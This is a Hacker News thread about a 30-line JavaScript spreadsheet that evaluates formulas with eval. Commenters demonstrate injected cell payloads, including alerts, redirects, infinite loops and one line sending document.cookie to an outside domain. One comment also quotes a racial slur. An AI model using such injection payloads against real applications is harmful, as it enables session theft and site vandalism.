21 ms·

A spreadsheet in fewer than 30 lines of JavaScript, no library used

• dubcanada 13y ago
  My text disappears after I type it in and move on. And why do you call a table an "excel-like" app? Can it so =SUM(); can it do search and replace or the over 9000 other features of excel? No... it's a table, with a editor.
  • hmottestad 13y ago
    try "=1+2"
    • chii 13y ago
      doesn't seem to work - it remains as text, instead of giving 3.
      • ondras 13y ago
        It works, but only in reasonably modern browsers. Which one do you use?
      • theoh 13y ago
        Click on another cell rather than pressing enter.
  • untothebreach 13y ago
    It's 30 lines of javascript, what do you expect? This is a cool little project and the negativity is really unnecessary. The author could definitely have chosen a better description, but that is no reason to dismiss it outright.
  • perlgeek 13y ago
    =A1+A2 works for me.
  • ondras 13y ago
    Because it simulates a subset of excel functionality, namely the ability to reference values in other cells and automatic re-computation of changed and dependent values.
  • Mikeb85 13y ago
    They made a fully functioning spreadsheet in 30 lines with no libraries. I'm sure adding more functions is possible... You could probably even figure out how to create a SUM function...
    • gtramont 13y ago
      You can create your built-in functions as this: var DATA={ SUM: function(a,b) { return a+b; } } Nice demonstration of language features, like 'with', that we usually take as 'bad practices'.
  • elmin 13y ago
    The language is javascript, not excel's, but you can do sum if you like: [A1, A2].reduce(function(a, b){ return a + b; }); You could, of course, write a sum function, and reference it wherever you like.
    • icoder 13y ago
      Ah yes, that's actually an interesting side effect of the eval strategy that I didn't realize myself yet. Nice!
  • Xelom 13y ago
    These comments freak me out. Guys, come on... It's just 30 lines... Great job author, fascinating.
  • robmcm 13y ago
    On one side I'm like come on guy, it's impressive. On the other, I imagine some PM is going to read this and expect their developers to get a google docs competitor out in a day!
  • errnoh 13y ago
    Sure you can, just add the function first: function SUM() { var sum = 0; for (var i = 0; i < arguments.length; i++) { sum += arguments[i]; } return sum; } Now you can do stuff like =SUM(A1, B1, C2) and it works like expected.
• Gepser 13y ago
  Nice, thanks for sharing
• rattray 13y ago
  Are there any more full-featured libraries that people use for this? I've found SpreadJS[0], GelSheet[1], jQuery.Sheet[2], and ZK Spreadsheet, but none seem like thriving open-source projects as far as I can tell. [0] http://wijmo.com/demo/spreadjs/samples/index.html http://wijmo.com/demo/spreadjs/samples/index.html [1] http://www.gelsheet.org/demo http://www.gelsheet.org/demo [2] http://visop-dev.com/Project+jQuery.sheet http://visop-dev.com/Project+jQuery.sheet [3] http://www.zkoss.org/product/zkspreadsheet http://www.zkoss.org/product/zkspreadsheet
  • k3n 13y ago
    Probably not, since you can't really make a spreadsheet-like widget unless you endeavor to make it an Excel clone. Many grid (table) widgets support edit-in-place, but that's as far as most of them go. The target userbase for full-featured spreadsheets is going to be users whom I'd presume already have access to Excel (edit: and/or access to a compatible product, like Google's online version or maybe one of the FOSS MSO replacements).
  • wryyy 13y ago
    I have used http://handsontable.com/ http://handsontable.com/ before in my projects.
  • genericacct 13y ago
    The most full featured OS JS spreadsheet I know of is ethercalc, check it out. It's even got a rest api..
    • e12e 13y ago
      Was going to comment along the same lines. Might not be "a library", but absolutely worth a look: https://github.com/audreyt/ethercalc https://github.com/audreyt/ethercalc
  • charlieirish 13y ago
    Whilst not focused on being an Excel clone, Backgrid has worked great for me. It's bound to backbone/underscore if you're already using that. http://backgridjs.com/ http://backgridjs.com/
• brador 13y ago
  Very cool and a great springboard for others to develop from. Bug/feature: only uppercase works in formulas (A4 works but a4 does not).
  • ondras 13y ago
    Neat idea, lowercase fixed!
    • brador 13y ago
      Worth a line of code to add return key to move down a cell?
      • 6ren 13y ago
        http://jsfiddle.net/hYfN3/197/ http://jsfiddle.net/hYfN3/197/ elm.onkeydown = function(evt) { evt = evt || window.event; var keyCode = evt.keyCode || evt.which; if (keyCode == '13') { var nextid = this.id.charAt(0) + String.fromCharCode(this.id.charCodeAt(1)+1); document.getElementById(nextid).focus(); } }; disclaimer: I don't know JS
• bananashake 13y ago
  This works wonderfully. Definitely the most punch I've seen per line of code. You can use javascript functions in your excel formulas. In a 30 line of code program this is a feature. = alert("I love it.");
  • hamburglar 13y ago
    Definitely a cool hack, but I had to laugh out loud at "Excel-like syntax (formulas start with "=")". Apparently the grammar for an "excel-like" syntax is: excel_like_expression ::= "=" javascript_expression
    • deleted 13y ago
      [deleted]
• mariusmg 13y ago
  Probably the most misleading article name in the history.....
  • reustle 13y ago
    How so? Even some formulas work!
• j-hernandez 13y ago
  Aside from losing input when tabbing out, works a treat in Opera. Can think of a couple of places that a fork of this might come in handy in my work this week. Clever, thanks for sharing
  • untothebreach 13y ago
    it does a parseFloat() on the input, so input that can't be coerced into a float gets turned into NaN and not displayed.
    • j-hernandez 13y ago
      Makes sense, hadn't even looked that closely at the code before I commented - all 30 lines of it, ha. Shame on me.
      • untothebreach 13y ago
        Looks like that particular problem has been fixed.
• jcutrell 13y ago
  A dangerously awesome feature: eval means it probably would support anon funcs.
  • __brian__ 13y ago
    Yup: =(function(){console.log("hehehe");})()
    • gberger 13y ago
      Don't need to go that far: =alert("hehehe")
  • saevarom 13y ago
    Any javascript works. For example: =document.getElementsByTagName('body')[0].parentNode.removeChild(document.getElementsByTagName('body')[0]) The line is saved in localStore, breaking the spreadsheet for future requests.
• rberdeen 13y ago
  Crash it with =DATA[$.id]
• edwinvlieg 13y ago
  Just like Excel, this version allows you to program almost anything inside a cell. Try inserting =alert("foobar") in a cell :)
• solox3 13y ago
  First thing I tried was "=alert()". While it worked, its tendency to block, recalculate, and persist with localStorage made it a bad idea, personally.
  • egeozcan 13y ago
    btw, do not use location.reload or you get a reload loop until manually deleting the entry in local storage
• lifeisstillgood 13y ago
  I am impressed. Its a neat hack, it actually is a real spreadsheet in 30 lines of code, with references fully working (ie =A3+B4 gives expected output. As does =alert("foo") but then nothing is perfect). I think it says something about the browser as a platform - these thirty lines simply assume an enormous amount that excel and visicalc could not - visicalc had to write their own screen refresh routines. It is useful sometimes to reflect on what has evolved so far - and wonder where we should be taking things. What is it now that is the equivalent of writing our own screen handling routines? Location? Distributed computation or storage?
  • timje1 13y ago
    Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed with (DATA) now that's just genius. I hate writing token parsing.
    • agumonkey 13y ago
      with (context) + eval = user-space lexical environment ?
      • richthegeek 13y ago
        Yep, I'm using something very like this in a Node project I'm working on. However, with(context) has some pretty nasty side effects that I just couldn't sidestep, so I used the "contextify" module. If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!
        • agumonkey 13y ago
          Thanks for the tip, but I'm far from working with javascript right now[1], I was barely trying to understand the trick. I love the fact that this 'app' is a 6x6 variables grid layout javascript editor in disguise. [1] I just finished skimming through eloquent js and js allonge, and this still eluded me.
        • 13y ago
• kybernetikos 13y ago
  How does jquery count as 'no library used'? EDIT: I get it guys - I complained without reading carefully, sorry...
  • ondras 13y ago
    "$" replaced with "elm" to cause less confusion.
    • kybernetikos 13y ago
      I apologise for my confusion and retract my moan. I'm afraid I suffered from commenting without reading properly. In my defence, seeing $ signs everywhere shuts down the careful part of my brain.
  • elmin 13y ago
    jQuery is not used, $ is just used as a variable name.
  • mistercow 13y ago
    There's no jquery here.
  • jmhobbs 13y ago
    Where do you see any jQuery? I don't see any $ or jQuery, and if you look at the top left under "Frameworks & Extensions" it is set to "No-Library (pure JS)" Perhaps the use of the more modern querySelectorAll threw you? https://developer.mozilla.org/en-US/docs/Web/API/Document.querySelectorAll https://developer.mozilla.org/en-US/docs/Web/API/Document.qu...
• xradionut 13y ago
  Just waiting for the other 20,000 Excel features to be added. :) This may sound like an inane comment, but trying working along Excel power users for the past two decades. Most people have no idea of the crazy, huge, complicated environment that is Excel.
  • timje1 13y ago
    Around my parts of the woods, people are very wary of putting an editable grid into a web-page.. because over years of maintenance, all editable grids tend towards excel, and excel has an infinite list of features for clients to request.
  • oneeyedpigeon 13y ago
    People abusing Excel really grinds my gears. Excel should pretty much be for financial/statistical computations only. People use it as a database, word processor, etc. which is just ridiculous. Unfortunately, it works for them because people like the interface - i.e. a nicely modifiable grid of values. We're in dire need of an application that simplifies working with a database, and better table-editing tools in word processors.
• mistercow 13y ago
  This is very impressive. The use of "Object.defineProperty" and "with" to handle formula evaluation is particularly clever.
• racbart 13y ago
  This is truly great as proof of concept and also as a reminder that in software development building 80% of perceived* functionality usually takes only tiny fraction of total development time which is required to build final product. * - this app looks and feels like “almost complete spreadsheet” yet it provides much less than 1% features of even a basic spreadsheet.
  • dictum 13y ago
    And 80% of perceived functionality is what most users — even people who rely on spreadsheets for their work — need. I'm not saying including the other 20% of functionality isn't a good thing to do, but when you're creating a new product or open source project, you can get by (and thrive) building only the 20% of functionality that's used 80% of the time. Why? Because 1% of functionality is still better than 0% (never shipping). You're not Microsoft. You don't have to keep your dominance in the spreadsheet software market like Microsoft has to.
    • sheetjs 13y ago
      The problem is that the total economic value (as measured by market price) for the users who only use that 80% of perceived functionality is close to 0 (google docs and OO/LO are free) The incredibly difficult 20% is what people pay for. It's what the businesses that shell out billions of dollars a year pay for. And it's what a successful product in the space needs to tackle
      • judk 13y ago
        Um no. Google docs is free for the same reason IE was free. The economic value is tremendous, such that the creator is willing to spend billions on it.
      • kbenson 13y ago
        On the other hand, you are taking what appears to be a general observation and applying it to this specific instance. Sure, there are plenty of free spreadsheets available. But what about other areas? There's plenty of areas still where a well executed easy to use minimal version of a product can compete in the existing for-pay ecosystem, and as we are discussing, minimal can pay off since 20% of functionality may take 5% or less of the time it would take to do 100%.
• uniclaude 13y ago
  Wow, was this made by the same ondras who made wwwsqldesigner? This guy got me into Javascript a couple years ago thanks to the source code of that tool, and now it pays a good part of my bills. The tool himself helped me quite a bit too. Awesome guy. Nice hack, impressive!
  • agilebyte 13y ago
    Yes, it is the same Ondřej. http://ondras.zarovi.cz/#projects http://ondras.zarovi.cz/#projects
• jasallen 13y ago
  Expressions did not evaluate for me. Reading the other comments I think I'm the only one though :-(
  • spxdcz 13y ago
    They didn't work for me either - the attempt to access localStorage on my latest Chrome/Mac throws a security error in the console for some reason (may be a plugin/blocker). If you're getting the same, it seems to work in Safari for me.
  • hhm 13y ago
    You have to click on another cell for them to evaluate (pressing return does nothing).
  • alextingle 13y ago
    Broken for me too, on both FF & Chrome. As you say, the formulae are just displayed, not evaluated.
  • ksrm 13y ago
    In Chrome I had to allow localStorage for it to work, which was disabled by default.
  • recursive 13y ago
    I'm getting the same behavior. formulas like '=1+2' just show in the cell instead of their result.
• goshx 13y ago
  Awesome job! Very clever :) After seeing it working and the few clever lines of code I was really surprised. But then I though: oh, let me go back to HN and read the comments from people saying "BUT IT DOESN'T HAVE CHARTS!!!" and unfortunately comments like that are here. What is wrong with this poeple???
  • icoder 13y ago
    Apart from the fact that I think (as far as the comments that are on now) you are exaggerating quite a bit with "BUT IT DOESN'T HAVE CHARTS!!!", I also think there's no need to suggest that there's anything 'wrong' with those people. There's the downvote button if something is really not fruitful for discussion (remember though discussion is - to a respectful extent - often enriched when people differ in their views and opinions on a subject). I don't see why every thread on HN needs a top level comment that meta-discourages criticism.
    • goshx 13y ago
      I still don't have the down vote option :( And the reason why I point these critics out is that they are simply not reasonable if you know what is happening there. Perhaps having a top level comment like this may actually encourage them to think twice or try to learn before commenting? But you know, maybe this is just a mirror to what happens almost daily in companies where there are non-technical people making decisions. Imagine this "excel-like app" being presented by the author to his boss, a non-technical person, as something extra that he built and is all excited about. There is a good chance that his boss will make the bad comments that it is lacking a lot of features. That is probably why these people make such comments: they don't have a clue of what is going on.
• WetTowel 13y ago
  Doing this makes it a lot less useable. =document.location="test"
• genericuser 13y ago
  For 30 lines of code it is indeed impressive. But I think it would of been more impressive at 40 or whatever it would of taken to have a couple error checks. What I mean by this is if you enter an invalid formula say =() or =asdf in a cell it breaks all the valid formulas you enter after that cell making them display as text instead of a value when refreshed.
  • ondras 13y ago
    Added a trivial try-catch block so error in one cell does not prevent others from evaluating. Line count unchanged :-)
• tehwalrus 13y ago
  This + TideSDK for cross platform deployment (or just delivery in a browser, if you're happy with the insecurity) = Awesome.
• genericacct 13y ago
  I am impressed, congrats. Next time some C++head jokes about JS I'll show them this (and some linux emulators)
• codegeek 13y ago
  A reminder of why HN is awesome. Ya ya i know it is a clever little JS hack and hardly an excel replacement but love the creativity of this.
• deleted 13y ago
  [deleted]
• Eleutheria 13y ago
  Ondřej Žára. I've seen that name before. Hmm. The guy behind a server side implementation of Javascript. I loved that concept and I still believe it has a huge potential. Kudos.
• jokeofweek 13y ago
  The fact that you can put Javascript code which interacts with the cells is awesome. For example you can put 10 in A1 and then put "=sum=0;for(i=0;i<A1;i++)sum+=i" in A2 to get the sum from 0 to 10. I really like this.
  • nmat 13y ago
    You may like, but it is an obvious security flaw. A 'real' product couldn't have this feature, at least not the way it is implemented here.
    • genericacct 13y ago
      Please elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression ) What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?
      • araskoktas 13y ago
        document.write('<img src="somedomain.com/?'+document.cookie);
        • genericacct 13y ago
          have you heard of the HttpOnly attribute for cookies?
          • araskoktas 13y ago
            good, send HttpOnly cookies and solve that problem. window.location.href='http://www.redt*be.com'; http://www.redt*be.com'; -- if you think evaluating JS code, as-is passed by the client is a good idea go ahead.
            • genericacct 13y ago
              I most definitely will. and if my users want to browse your favorite porn site i don't see why i shouldn't let them..
• habosa 13y ago
  Can someone help me understand how this works? Don't have deep JS knowledge and I can't see what's going on with `DATA` and all that.
  • thewarrior 13y ago
    Well I'm a javascript noob myself but I'll try to explain. The clever thing is how he used eval. This is where the magic happens : var getter = function() { var value = localStorage[elm.id] || ""; if (value.charAt(0) == "=") { with (DATA) return eval(value.substring(1)); } else { return isNaN(parseFloat(value)) ? value : parseFloat(value); } }; So if you entered "=A1 + A2" it would be evaluated as DATA[A1]+DATA[A2] . A1 and A2 get bound to DATA because of the preceding with statement. Now the question is what happens when DATA[A1] is called. He used Object.defineProperty to ensure that whenever you try to access a cell the same method (which i just explained) gets called. Object.defineProperty(DATA, elm.id, {get:getter}); This means add a property called elm.id to DATA and it's getter is the function I just explained. So whenever we try to acess DATA[something] it hooks into the same getter method so a cell can depend on another cell which depends on another cell and so on .. Now you can see why this so clever. Because he used the inbuilt eval it can evaluate any kind of formula involving multiplication , division or function calls. The only thing I dont understand is how circular references are prevented. Like I said I'm not very familiar with JS so if anyone notices anything wrong I'd like to know.
    • spion 13y ago
      Circular references are not really "prevented". Most browsers just stackoverflow after a couple of thousand calls. The code below try/catches that error and simply continues.
    • deleted 13y ago
      [deleted]
• runn1ng 13y ago
  =while(1) {alert("BOO")} HAHAHA I BROKED IT
• RokStdy 13y ago
  Fantastic! I'm trying to get stronger with my JS and this is really an inspiration.
• Shish2k 13y ago
  Reminds me of this; a spreadsheet (with graphs :P) in 2KB of C http://www.ioccc.org/2000/jarijyrki.c http://www.ioccc.org/2000/jarijyrki.c Explanation: http://www.ioccc.org/2000/jarijyrki.hint http://www.ioccc.org/2000/jarijyrki.hint
• ubersoldat2k7 13y ago
  Oh well, didn't expect it to work but I had to try it: 0.1 + 0.2 = 0.30000000000000004 Awesome work either way. Would be nice to know how many lines of code Lotus 1-2-3 had.
  • monokrome 13y ago
    Number of lines of code in Lotus is unrelated for many reasons which I hope are obvious.
• kin 13y ago
  Just yesterday there was that Google email from 2010 talking about how JS can not evolve any further. It made me feel a bit wasteful about my time spent with the likes of node and angular. Seeing things like this reminds me how much JS is capable of in today's browsers and also shows me how much more I need to understand about the language. Awesome stuff.
  • mistercow 13y ago
    It's important to remember that when someone is justifying the existence of a new project, claims like "<that technology> can't evolve to meet the needs of <this technology>" are highly suspect.
    • deleted 13y ago
      [deleted]
• thewarrior 13y ago
  How does the circular reference prevention work ?
  • wpears 13y ago
    The getter is wrapped in a try/catch, so the circular reference hits the max call stack size and errors out silently.
    • vinayan3 13y ago
      Terribly efficient.
• tel 13y ago
  It's not really comparable, but minimalistic spreadsheet applications always remind me of Dan Piponi's Haskell `loeb` function [0]---a "one-line" "spreadsheet" "implementation". The blog post is very interesting to read, but here's the meat. We're looking for a function with type loeb :: Functor f => f (f a -> a) -> f a and without thinking about the meaning of it, we can implement it as loeb x = fmap (\a -> a (loeb x)) x which embodies a certain, strange kind of recursion. It turns out that it's "spreadsheet recursion". We build a list of functions from lists of a to a like test :: [[Int] -> Int] test = [ (!! 1), length, (!! 0) ] -- think [A1, length(A), A0] then `loeb test` "completes" the list by applying the "result list" to each of the functions of the source list. loeb test == [3, 3, 3] Laziness lets the recursion proceed despite "evaluating" the list from left to right. Infinite loops still fail loeb [(!! 0)] == [............ waiting It's also interesting to think of how to do "spreadsheet recursion" on exotic data types like trees. data Binary a = Branch (Binary a) a (Binary a) | Tip deriving (Show, Functor) depth Tip = 0 depth (Branch l _ r) = succ (max (depth l) (depth r)) top default Tip = default top _ (Branch _ a _) = a > loeb (Branch Tip depth (Branch Tip (top 0) Tip)) Branch Tip 2 (Branch Tip 2 Tip) [0] http://blog.sigfpe.com/2006/11/from-l-theorem-to-spreadsheet.html http://blog.sigfpe.com/2006/11/from-l-theorem-to-spreadsheet...
  • aufreak3 13y ago
    Was about to post this as well. By far the neatest application of curry-howard i've stumbled on.
  • idProQuo 13y ago
    Just yesterday I was about to temporarily quit Haskell after slamming my face into Learn You A Haskell's Functor chapter. But after seeing the concept applied (jokes for nerds!) like this, I think I'm going to give it another shot. Thanks!
    • tel 13y ago
      If you're ever in need of more motivation, be sure to take a look at more posts on Neighborhood of Infinity. It's truly an inspiring blog!
• antidaily 13y ago
  Ok, but where do I sign in with my Windows Live account?
• rcirka 13y ago
  Although it is impressive that an app like this can be created in such few lines of code, I think it is a bad precedent as a programmer to have a goal to write as least as many lines as possible. It leads to hacks and unmaintainable code. I would rather have a method that has 10 lines of code that can be easily understood, then a method with one line of code that is only understood by the creator. That is not to say that one shouldn't focus as code reduction via re-usability, but one should always write code the can be understood by others.
  • mistercow 13y ago
    This code isn't particularly hard to understand, and that's one of the things I was impressed with about it. If it were more than a demo, it would need comments to explain its cleverer bits, but on the whole, it's pretty cleanly written. But I disagree that writing short programs for the sake of writing short programs is a bad thing. Sure, you need to recognize that you can't take all of the habits you get from it with you when doing stuff for production, but it can be a good goal when creating prototypes. One big advantage is that it prevents feature creep. I wrote a library a while back called DelayedOp for wrangling async calls in JS. Originally it was 5 lines of CoffeeScript, and I actually used it in that form for a while. It's much bigger now and full of features to aid in debugging. The key is that by writing it minimally to begin with, I got something I could use and see what features I actually wanted to add. And while I mourn the elegance of those original five lines, I also realize that what it is now is far more useful and reliable.
• deleted 13y ago
  [deleted]
• EGreg 13y ago
  This shows how far we've gone where we can write this kind of stuff easily. However we have a long way to go. This would be nice for a start: http://vimeo.com/36579366 http://vimeo.com/36579366
• jfasi 13y ago
  Bug reporting: entering "1 + 1" causes the cell to display "1"
• buro9 13y ago
  1. Take user generated content 2. eval() 3. ??? 4. PROFIT! (for the person who stole data/identity, etc)
  • chc 13y ago
    I'm not sure it's possible to steal your own identity.
    • CoryG89 13y ago
      No, but I'd be willing to try.
    • buro9 13y ago
      I'd place a bet that someone will copy that code without understanding the risks involved, and then will hack together the ability to load and save data, and then complete the puzzle by enabling you to share it. Voila. People copy code, the defaults should be safer. I know that wouldn't make it so elegant as it wouldn't fit in so few lines, but that's how you educate others on the risks and how to deal with those risks.
      • chc 13y ago
        > I'd place a bet that someone will copy that code without understanding the risks involved, and then will hack together the ability to load and save data, and then complete the puzzle by enabling you to share it. I'd place a bet that if this did happen, it would not be on a site that stores sensitive information. And even in the ridiculously unlikely case that it did, I would still not blame that on the Fiddle. This code is perfectly safe in the situation it's used in. The idea that minimal demos must cover every conceivable situation just seems really weird to me. Most places don't even generally require real production code to deal with out-of-scope situations. (For example, most Rails apps do not include code deal with the possibility that application_controller.rb has been replaced with malicious code even though that is a huge vulnerability if the Internet has write access to application_controller.rb. They rely on external measures to ensure that situation doesn't arise.) > People copy code, the defaults should be safer. There is no safer default to use here AFAIK.
• Deestan 13y ago
  Interesting how it handles cyclic references only if the chrome dev console is not opened.
• st0neage 13y ago
  =alert("XSS")
  • yurikoval 13y ago
    =alert("No protection in 30 lines of code.")
  • tensaix2j 13y ago
    how does it count as xss when it is only affecting yourself and not other users?
• dakridge 13y ago
  Just curious - shouldn't the events be attached to the parent table and delegated to the children inputs so you are not attaching the focus and blur events to each individual input? Similar to something like this: http://jsfiddle.net/W3Stf/ http://jsfiddle.net/W3Stf/
  • ondras 13y ago
    That is a cool improvement. The "focus" and "blur" events do not bubble, so I initially tried to evade event delegation - with respect to legacy event handling (attachEvent) that does not support the capture phase you used.
  • ondras 13y ago
    (but as you see, I soon switched to onevent-only approach, naturally)
• draegtun 13y ago
  Here are some links to Carl Sassenrath World's smallest spreadsheet program he wrote back in 2001 using Rebol (under 100 lines): * Announcement on Rebol mailing list - http://www.rebol.org/ml-display-thread.r?m=rmlNHPK http://www.rebol.org/ml-display-thread.r?m=rmlNHPK * Code (Rebol script library) - http://www.rebol.org/view-script.r?script=rebocalc.r http://www.rebol.org/view-script.r?script=rebocalc.r * Code (in Gist for nicer syntax highlighting) - https://gist.github.com/draegtun/7454495 https://gist.github.com/draegtun/7454495 * Recent blog post with screen image - http://rebol2.blogspot.co.uk/2013/08/the-worlds-smallest-spreadsheet-program.html http://rebol2.blogspot.co.uk/2013/08/the-worlds-smallest-spr...
  • klausnrooster 13y ago
    Level in the header is beginner. In 2001. Download Rebol/View, the source in the gist link. Run Rebol, click console. pwd, ls, cd to the place you put the gist code. type "do %whateveryounamedthesource". Smaller than a browser i would guess.
    • draegtun 13y ago
      >Smaller than a browser i would guess You can amend max-x & max-y variables in the script to change spreadsheet size to make bigger. For others... The Rebol 2 binaries to run this spreadsheet script can be found here - http://www.rebol.com/download-view.html http://www.rebol.com/download-view.html And from the shell/command line you can also run the script straight off the internet like so: ./rebol http://www.rebol.org/download-a-script.r?script-name=rebocalc.r The spreadsheet is simple to use (beginner level) but surprisingly very powerful (Rebol types, expressions & functions are available).
• moron4hire 13y ago
  Oh wow, adding functions is pretty straightforward: http://jsfiddle.net/hYfN3/315/ http://jsfiddle.net/hYfN3/315/
• benhoyt 13y ago
  Neat! Not quite the same thing, but see also this 9-line "spreadsheet" written in Python by Raymond Hettinger: http://code.activestate.com/recipes/355045-spreadsheet/ http://code.activestate.com/recipes/355045-spreadsheet/
  • draegtun 13y ago
    Very neat. Thought I'd have a crack at doing something similar in Rebol. Here's my attempt: Rebol [] ; Here's the beef!... the spreadsheet object spreadsheet: context [ update: func [block /local b] [ b: compose/deep block bind b self ; so action happens in object context do b ] ] ; make sheet with following cells ss: make spreadsheet [ a1: 5 a2: does [a1 * 6] a3: does [a2 * 7] ] ; simple usage example print ss/a3 ; => 210 ss/a1: 6 print ss/a3 ; => 252 ; use /update method to keep it within the objects context (needed for DOES) ss/update [a3: does [a1 + a2]] print ss/a3 ; => 42 ; and compose in variables from current context, see (a1) a1: 1000 ss/update [a3: does [a1 + (a1)]] print ss/a3 ; => 1006 You could probably do something very similar in other prototype based object languages.
• _sh 13y ago
  If anyone else is wondering why formula evaluation is not working in Chrome, it is because jsfiddle is violating Chrome's security policy by serving up the javascript from fiddle.jshell.net (not jsfiddle.net). When this javascript code attempts to access the LocalStorage API, Chrome (rightfully) steps in and says: nope. This may be a new security feature, but is present in Chrome 30.0.1599.114 on Fedora.
• robomartin 13y ago
  What concerns me about developing browser applications is the idea that there are precious few ways to protect your code. I know we all love open source, but sometimes you want or need just the opposite. Not sure there's a way to truly achieve that with JS (limitations or not).
• ruttiger 13y ago
  WHAT IS THIS MAGIC?
• larvaetron 13y ago
  =while(true){}
• Ricter 13y ago
  Input '=alert(/XSS/)'.. eval() is not a good choice.
• monokrome 13y ago
  This is all fine and dandy until someone decides to exploit your use of eval: =document.location='http://facebook.com/' http://facebook.com/'
• geuis 13y ago
  Bug report: In Chrome Version 30.0.1599.101, an error is generated that prevents the app from running: "Uncaught SecurityError: An attempt was made to break through the security policy of the user agent. " Works in Safari 7.
• antonwinter 13y ago
  next challenge, Word in 30 lines
  • jdude104 13y ago
    How about one line? <title>Notepad</title><body contenteditable style="font-size:3rem;line-height:1.4;max-width:60rem;margin:0 auto;padding:4rem;">
• piyush_soni 13y ago
  Awesome! :)
• kav-ya 13y ago
  I thought the spreadsheet was mad impressive and decided to take a shot at making it massively multiplayer. Here's the fiddle: http://jsfiddle.net/sy85U/ http://jsfiddle.net/sy85U/
  • calhoun137 13y ago
    Sorry for breaking it, I couldn't help it =/
  • brymaster 13y ago
    Warning: Don't click it. This fiddle spams infinite javascript alerts.
• westwin 13y ago
  very nice.
• vargalas 13y ago
  That's cool!
• snambi 13y ago
  Just awesome
• alpha_24 13y ago
  remove this urgently it has been hacked.
• dschiptsov 13y ago
  Why, where are tons of cool Clojurescript with core.async?)
• deleted 13y ago
  [deleted]
• nyan_sandwich 13y ago
  Some has scripted it to alternate between "Seriously though..." and "NIGGER" How nice.
• yurikoval 13y ago
  Microsoft's business clientele success summarised in 30 lines of javascript. This is a really neat hack. Maybe Google will sample it to improve their spreadsheet performance.
• snapoutofit 13y ago
  This is really neat! Will play around.
• dscrd 13y ago
  orgmode's org-table.el is about 5k lines, including comments, and I never felt it lacked any features. It uses other libraries of course, and is rather dense lisp code.
• oakaz 13y ago
  Then check this out: www.editgrid.com/untitled It was built on 2005, with real-time collaboration, no library used.
• known 13y ago
  Brilliant hack.
• stevoski 13y ago
  It doesn't have pivot tables; therefore I don't see this as a viable replacement for Excel.
• thestarswheeled 13y ago
  It's nice to read and understand some javascript which doesn't involve a 3 hour youtube session on the latest framework. Cheers.
• nilliams 13y ago
  Obligatory CoffeeScript version: http://jsfiddle.net/hYfN3/759/ http://jsfiddle.net/hYfN3/759/ (Uses a regexp instead of `with` statement as CoffeeScript forbids with).
• yiransheng 13y ago
  Really clever hack. Also looked around the original Angular spreadsheet the author offered as a inspiration, the 'hacky' components boiled down to this too parts: 1. Data binding. Angular: ng-model, ng-controller, relying on Angular's magical $scope This: custom defined object getter, essentially making the data resides in the DOM input elements (while keeping a copy in localStorage) 2. Expression evaluation Angular: $parse service This: 'with' and 'eval' in the same line. Despite its double 'evilness', this is really clever.
• headgasket 13y ago
  Impressive. This shows how anything that can be written in Javascript will be written; and what cannot UX wise?
• deleted 13y ago
  [deleted]
• ChrisCinelli 13y ago
  I am impressed with it. However the biggest complexity in a real spreadsheet is the implementation of a correct evaluation of the graph of dependencies. This evaluate sequentially and if you have a cell with a formula that use following cells, it is not going to work :-/
• jayferd 13y ago
  =parent.location='http://www.google.com/' http://www.google.com/' hey look, a page redirect :D
• xa99978 13y ago
  I used fair amount of excel that is the reason why I am commenting. Just because you can enter some numbers in cell you cannot call it a spreadsheet. The main problem I see in your spreadsheet is the data entry. After you enter something you have to hit tab. no other key works. The main feature for any spreadsheet should be ease of data entry. Also other feature should be selecting the cell with mouse (instead of entering A1 I should be able to select A1)
• MrBra 13y ago
  30 lines of JS + 14 lines of HTML + 45 lines of CSS + 5,000,791 lines of browser rendering engine (WebKit in this case).